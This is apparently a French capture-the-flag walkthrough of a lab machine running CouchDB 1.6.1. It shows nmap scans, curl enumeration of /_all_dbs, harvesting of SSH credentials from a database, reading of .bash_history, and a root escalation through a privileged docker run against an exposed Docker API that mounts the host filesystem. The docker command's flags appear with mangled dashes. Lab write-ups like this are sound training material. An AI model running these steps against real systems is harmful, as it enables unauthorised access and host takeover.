2
Question somme toute un peu difficile. Un simple nmap scan ne permet pas d’afficher les deux ports ouverts, mais seulement le port 22 (ssh). Pour afficher le bon nombre de ports, il faut scanner de manière spécifique le port ssh et le port liée à couchdb.
Commande :
nmap 10.10.153.51 -T5 -sC -sV
Pour afficher le bon nombre de ports, il faut scanner de manière spécifique le port SSH et le port liée à couchdb.
Commande :
nmap 10.10.153.51 -T5 -sC -sV -p 22,5984
couchdb
5984
1.6.1
Pour la dernière question, on a le résultat sur le scan nmap mais on peut aussi la récupérer en allant sur la page web et le port 5984
Ou en utilisation Curl :
_utils
_all_dbs
Méthode avec CURL :
curl -X GET http://10.10.153.51:5984/_all_dbs
Redacted
Redacted
Pour obtenir les identifiants, il faut se rendre sur la page web, puis sur secret et enfin cliquer sur a1320dd69fb4570d0a3d26df4e000be7
Les identifiants récupérer doivent être testé sur la connexion SSH.
Cool, ça fonctionne. En revanche, sudo -l ne donne pas de résultat…
Dans ce cas, il faut faire soit une énumération via des scripts automatiques soit le faire manuellement. Pour commencer, il faut regarder ce qui se trouve dans le dossier /home ( outre le fichier user.txt)
Commande :
ls -al
On peut voir que le fichier .bash_history est lisible et surtout qu’il n’est pas redirigé vers le néant ( /dev/null ) comme c’est souvent le cas dans les ctf.
Il faut regarder l’historique de l’utilisateur ( donc le créateur de la box ? )
Commande :
cat .bash_history
Pour passer root, il suffit de copier et exécuter la commande docker suivant :
docker -H 127.0.0.1:2375 run –rm -it –privileged –net=host -v /:/mnt alpine